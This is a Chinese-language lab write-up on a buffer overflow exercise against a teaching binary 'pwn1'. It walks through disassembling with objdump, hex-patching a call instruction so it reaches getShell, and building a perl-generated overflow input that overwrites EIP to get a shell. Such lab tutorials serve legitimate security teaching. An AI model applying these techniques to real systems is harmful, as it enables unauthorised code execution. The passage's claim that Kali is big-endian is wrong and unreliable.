熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
具体的指令可以回到指导中查。
objdump -d pwn1 | more foo函数功能为将用户输入的字符回显在屏幕上,getshell函数为打开一个可用Shell。
foo函数功能为将用户输入的字符回显在屏幕上,getshell函数为打开一个可用Shell。最基本的思路就是修改跳转地址,让main函数不再调用foo函数,转而调用getshell函数。观察如下代码:
root@KaliYL:~#  objdump -d pwn1 | more
0804847d <getShell>:
 804847d:   55                      push   %ebp
 ...
08048491 <foo>:
 8048491:   55                      push   %ebp
 ...
080484af <main>:
 ...
 80484b5:   e8 d7 ff ff ff          call   8048491 <foo> 
 80484ba:   b8 00 00 00 00          mov    $0x0,%eax
 ...call机器码 = 跳转地址 - 正常流程的下一个EIP
         
e8 c3 ff ff ff此处对pwn1进行了备份,我们将对备份文件pwn2进行操作。
            
vi pwn2,用vim编辑器查看可执行文件pwn2,可以看到如下乱七八糟的车祸场景。               
%! xxd,键入前述指令查看其16进制表示,看起来就工整多了。               
/e8 d7,查询需要改动的机器码的位置,锁定后,按i进入文本编辑模式,将其改为e8 c3                 ---->
 ---->
%! xxd -r,退出16进制模式(注意:此处如果直接以16进制形式保存退出,运行该文件会报错):wq!,保存并退出。               
./pwn2,结果如下:               
接下来就来亲自体验一把溢出的感觉吧(先备份成pwn3)
Segmentation fault。                
gdb pwn3,进入调试,并输入一串可让其溢出的字符:               
               
info r,查看溢出时寄存器状态如下:               
0x0804847d,而其对应的ASCII没有字符,所以我们通过一个简单的perl脚本语言来构造输入值。
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input    注意:kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a表示回车换行。
               
(cat input; cat) | ./pwn3,将input文件作为输入,结果如下:               
原文:http://www.cnblogs.com/cathy-h/p/6527050.html